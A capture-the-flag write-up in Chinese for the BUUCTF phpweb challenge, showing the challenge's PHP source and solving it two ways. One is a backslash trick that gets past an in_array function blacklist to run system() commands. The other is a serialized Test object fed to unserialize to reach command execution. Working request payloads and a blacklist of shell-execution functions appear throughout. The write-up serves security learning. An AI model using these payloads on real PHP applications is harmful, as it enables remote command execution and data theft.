BUUCTF [網鼎杯 2020 朱雀組] phpweb

薛定諤了麼發表於2020-12-09

BUUCTF [網鼎杯 2020 朱雀組] phpweb

考點:

  1. \繞過in_array()黑名單(非預期)
  2. call_user_func()函式把第一個引數作為回撥函式呼叫
  3. 反序列化
  4. find命令模糊查詢flag位置

啟動環境:
在這裡插入圖片描述
頁面有Warning,發現頁面存在自動重新整理情況,使用BurpSuite抓取資料包:

在這裡插入圖片描述
傳參中包含funcp,且頁面中有:2020-12-09 12:58:53 pm
也就是執行了date()函式
根據形式猜測應為函式執行,或命令執行
嘗試獲取頁面原始碼:func=highlight_file&p=index.php

得到了網頁原始碼:

<!DOCTYPE html>
<html>
<head>
    <title>phpweb</title>
    <style type="text/css">
        body {
            background: url("bg.jpg") no-repeat;
            background-size: 100%;
        }
        p {
            color: white;
        }
    </style>
</head>

<body>
<script language=javascript>
    setTimeout("document.form1.submit()",5000)
</script>
<p>
    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>
</p>
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

檢視其中的PHP程式碼:

  • 變數$disable_fun設定了函式黑名單,幾乎過濾了所有危險函式
  • call_user_func()函式把第一個引數作為回撥函式呼叫,其餘引數是回撥函式的引數,也就是剛剛date函式執行的地方
  • 驗證call_user_func()函式執行後的結果是否為string型別,真則返回執行結果,假則返回
  • 存在一個Test
  • 傳入變數$func和變數$p的值
  • 其中變數$func不為空,並轉化為小寫
  • 變數$func不在黑名單中,則被執行,否則終止程式

in_array()方法執行時,可以使用增加\方式繞過,例如:
直接執行system
在這裡插入圖片描述
會被黑名單攔截,使用\system

func=\system&p=whoami

在這裡插入圖片描述
其並不會影響system()函式在call_user_func()或其他函式中的執行,但在in_array()函式中\會被當作一個字元,可以以此繞過

所以可以直接使用\繞過黑名單,實現命令執行:

func=\system&p=ls

在這裡插入圖片描述
查詢flag所在位置:

func=\system&p=find / -name flag*

在這裡插入圖片描述
得到可疑的路徑,使用cat命令檢視:

func=\system&p=cat /tmp/flagoefiu4r93

得到flag
在這裡插入圖片描述

這只是通過\繞過in_array()函式,從而實現繞過黑名單,完成命令執行的方法,真正的考點應該是反序列化

繼續分析原始碼Test類:

class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

Test類並沒有被呼叫,但在其解構函式中呼叫了gettime()函式
serialize()unserialize()函式不在黑名單中,所以使用反序列化方式不會執行黑名單效驗

嘗試構造序列化,在提交時,unserialize()函式作為變數$func的值,序列化後的字串作為引數$p的值:

<?php
    class Test {
        public $func;
        public $p;
    }
    
    $tmp = new Test();
    $tmp->func = "system";
    $tmp->p = "ls";
    
    echo serialize($tmp)
?>

得到序列化後的字串:

O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

使用POST傳參傳送資料:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

可以看到成功執行:
在這裡插入圖片描述
查詢flag

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

在這裡插入圖片描述
得到flag的路徑:/tmp/flagoefiu4r93,使用cat命令讀取flag

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

在這裡插入圖片描述
得到flag

相關文章